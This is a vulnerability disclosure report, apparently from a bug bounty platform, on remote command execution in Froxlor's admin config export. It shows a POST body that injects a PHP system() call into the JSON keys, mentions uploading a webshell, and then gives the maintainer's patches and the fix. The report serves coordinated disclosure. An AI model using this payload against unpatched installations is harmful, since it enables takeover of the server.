Remote Command Execution by Improper Escaping of Output in froxlor/froxlor

Valid

Reported on

Jun 22nd 2023


Description

Improper Encoding or Escaping of Output in Froxlor export configuration. Hackers can use it to create a json file with PHP code inside then trigger the code by set php-fpm to process .json extension.

foreach ($_POST['system'] as $sysdaemon) {
            $params['system'][] = $sysdaemon;
        }
        $params_content = json_encode($params);

Steps To Reproduce

First, login to Froxlor by using admin account.

Access /admin_configfiles.php?page=configfiles to export config file

Use burpsuite to intercept request

Untitled

we get json file location

Untitled

and json file content

Untitled

All parameters http, dns, smtp, mail and http have been escaping properly, but the system parameters are not. I can still inject php tag <> .

So i will POST this

http=apache24&dns=bind&smtp=x&mail=x&ftp=x&system%+<%3f%3dsystem(`/tmp/x`)%3f>%5D=aaa&csrf_token=e78bc097a3c11650887325b467abafc4aadfd59a&finish=1

which is

http=apache24&dns=bind&smtp=x&mail=x&ftp=x&system% <?=system(`/tmp/x`)?>]=aaa&csrf_token=e78bc097a3c11650887325b467abafc4aadfd59a&finish=1

For creating sh file in /tmp, i create a customer and customer's doamin. Next, I use customer ftp account to upload webshell and create sh file in /tmp. /tmp/x's content:

#!/bin/bash
id > /tmp/id.txt

After exporting the config, I get json file location

Untitled

check the json file which contains php code

Untitled

If hackers set allow extension .json in the setting, when visit the json on browser, php code will execute.

Untitled

Untitled

after access json file on browser Untitled

Impact

Hackers can run OS commands with froxlorlocal permission so they can interact with web server such as: deface, dump data,...etc

We are processing your report and will contact the froxlor team within 24 hours. 3 months ago
Duc Chung Pham modified the report
3 months ago
Michael Kaufmann validated this vulnerability 3 months ago
Duc Chung Pham has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Michael
3 months ago

Maintainer


Could you test whether the following patch resolves this issue?

diff --git a/admin_configfiles.php b/admin_configfiles.php
index ac4630db..00ff67b0 100644
--- a/admin_configfiles.php
+++ b/admin_configfiles.php
@@ -99,6 +99,16 @@ if ($userinfo['change_serversettings'] == '1') {
                foreach ($_POST['system'] as $sysdaemon) {
                        $params['system'][] = $sysdaemon;
                }
+               // validate params
+               foreach ($params as $key => $value) {
+                       if (!is_array($value)) {
+                               $params[$key] = \Froxlor\Validate\Validate::validate($value, $key);
+                       } else {
+                               foreach ($value as $subkey => $subvalue) {
+                                       $params[$key][$subkey] = \Froxlor\Validate\Validate::validate($subvalue, $key.'.'.$subkey);
+                               }
+                       }
+               }
                $params_content = json_encode($params);
                $params_filename = FileDir::makeCorrectFile(Froxlor::getInstallDir() . 'install/' . Froxlor::genSessionId() . '.json');
                file_put_contents($params_filename, $params_content);
Duc Chung Pham
3 months ago

Researcher


Hi! The problem is in $key variable, not in $value so you need to validate $key not $value. I suggest that you should remove $params[$key] if the code check $key contains dangerous characters.

You can add this example code between lines 101 and 102 and that will fix this bug.

foreach ($params as $key => $value) {
       if (preg_match("/[\<\>\?\{\}\'\"\`]/i", $key)) {
       unset($params[$key]);
       }
}
Michael
3 months ago

Maintainer


as the keys of that json array are fix, how about this:

diff --git a/admin_configfiles.php b/admin_configfiles.php
index ac4630db..0770c8a7 100644
--- a/admin_configfiles.php
+++ b/admin_configfiles.php
@@ -33,6 +33,7 @@ use Froxlor\Settings;
 use Froxlor\UI\Panel\UI;
 use Froxlor\UI\Request;
 use Froxlor\UI\Response;
+use Froxlor\Validate\Validate;

 if ($userinfo['change_serversettings'] == '1') {
        if ($action == 'setconfigured') {
@@ -91,6 +92,7 @@ if ($userinfo['change_serversettings'] == '1') {
        }

        if ($distribution != "" && isset($_POST['finish'])) {
+               $valid_keys = ['http', 'dns', 'smtp', 'mail', 'ftp', 'system', 'distro'];
                unset($_POST['finish']);
                unset($_POST['csrf_token']);
                $params = $_POST;
@@ -99,6 +101,20 @@ if ($userinfo['change_serversettings'] == '1') {
                foreach ($_POST['system'] as $sysdaemon) {
                        $params['system'][] = $sysdaemon;
                }
+               // validate params
+               foreach ($params as $key => $value) {
+                       if (!in_array($key, $valid_keys)) {
+                               unset($params[$key]);
+                               continue;
+                       }
+                       if (!is_array($value)) {
+                               $params[$key] = Validate::validate($value, $key);
+                       } else {
+                               foreach ($value as $subkey => $subvalue) {
+                                       $params[$key][$subkey] = Validate::validate($subvalue, $key.'.'.$subkey);
+                               }
+                       }
+               }
                $params_content = json_encode($params);
                $params_filename = FileDir::makeCorrectFile(Froxlor::getInstallDir() . 'install/' . Froxlor::genSessionId() . '.json');
                file_put_contents($params_filename, $params_content);
Duc Chung Pham
3 months ago

Researcher


That's it ! This patch will resolve this issue. Good work!

Michael Kaufmann marked this as fixed in 2.0.21 with commit 03b5a9 2 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on Jul 14th 2023
Michael Kaufmann published this vulnerability 2 months ago
to join this conversation